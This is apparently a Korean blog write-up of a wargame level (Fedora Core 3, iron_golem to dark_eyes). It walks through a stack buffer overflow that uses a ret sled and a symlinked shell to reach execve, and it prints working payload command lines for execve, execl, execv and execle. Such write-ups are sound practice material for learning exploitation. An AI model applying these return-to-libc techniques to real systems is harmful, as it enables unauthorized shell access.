systemhacking/practice

fedoracore 3 iron_golem->dark_eyes

qkqhxla1 2015. 2. 17. 18:15

http://inhack.org/wordpress/?p=2975

을 보고 했는데 이해가 안간다. execve를 쓰며, ret을 3번 덮어씌워서 execve의 위치를 조금 뒤로 

바꾼 후, 인자를 구성하는데, execve의 위치를 바꾸는건 인자 구성을 위해서이다.




위 주소에 링크된대로 그대로 실험해봤다. ret에 브레이크포인트를 걸고, 인자로 아무거나 넣고 실행했다.

ret에서 멈춰있으며(현재 0xfeee7c1c), execve를 실행시키기 위해서는 세번째 인자가 0이여야 한다.

http://rosaria1113.blog.me/200745432 참조. 거기에 스택의 주소가 랜덤하게 바뀌므로 ret뒤의 주소중에서 3번째 자리가 0x0000000인 널값이면서, 계속 재실행시 주소의 위치가 바뀌지 않는 곳이어야 한다. 일단 세번째 인자가 널인걸 찾아보면 위의 캡쳐에서도 알수 있듯이 0xfefb1304나 0x0083eff4를 찾을수 있다. 


그러나 gdb를 끄고 다시 재실행시켜보면 알겠지만 0xfefb1304위치는 계속 주소값이 바뀐다. 결국 여기에는 공격을 못하고 바뀌지 않는 0x0083eff4를 인자로 삼아서 공격해야한다. 이 위치를 인자로 삼으려면 두칸 이전인 0xfefb1310값이 있는 위치에 execve의 주소를 덮어씌워야 한다. 여기를 ret sled를 이용해서

ret을 덮어씌운 후 execve를 실행시키도록 하면 된다. 그 이전에 0x0083eff4 위치의 0x0083ed3c값은 변하지 않는데, 쉘을 실행시키는 파일을 만들어서 0x0083ed3c로 링크를 걸어두면 알아서 이 위치를 참조할때 링크한 쉘이 실행되게 된다. 링크를 걸고. ln -s sh `python -c 'print "\x3c\xed\x83"'`

이제 gdb에서 실험적으로 해보자. 



ret를 3번 덮어씌우고 그 뒤에 execve의 주소를 덮어씌우게 되면 위처럼 스택이 완성되고, 0xfee4311c였던 리턴주소는 ret sled로 인해 4칸씩 뒤로 가면서 결국에는 execve를 실행하게 되고, execve는 인자로 두칸 뒤인 0x0083eff4의 주소를 참조하는데, 이 주소 내부에는 우리가 쉘을 실행하는 파일을 링크 걸어줬으므로 execve가 쉘을 실행하게 된다.


./dark_eyes `python -c 'print "a"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a"'`


----------------------------------------------------------------------------


삽질을 통해 알아냈는데 execl로도 된다. 다만 주소 내부에 \x20(공백) 이 포함되어있으므로 ""로 감싸줘야 한다. 

./dark_eyes "`python -c 'print "a"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`"


execv도 된다.

./dark_eyes "`python -c 'print "a"*268+"\xb9\x84\x04\x08"*3+"\xd0\x55\x7a"'`"


execle도 된다.

./dark_eyes "`python -c 'print "a"*268+"\xb9\x84\x04\x08"*3+"\x10\x56\x7a"'`"


execvp와 execlp등 환경변수를 참조하는 함수들은 안되는데 왜 안되는지 모르겠다.

'systemhacking > practice' 카테고리의 다른 글

io.smash the stack 6~8  (0) 2015.02.21
fedoracore 3 dark_eyes->hell_fire  (0) 2015.02.20
fedoracore 3 gate->iron_golem  (0) 2015.02.15
io.smash the stack 1~5  (0) 2015.02.12
bof xavius->death_knight  (0) 2015.02.01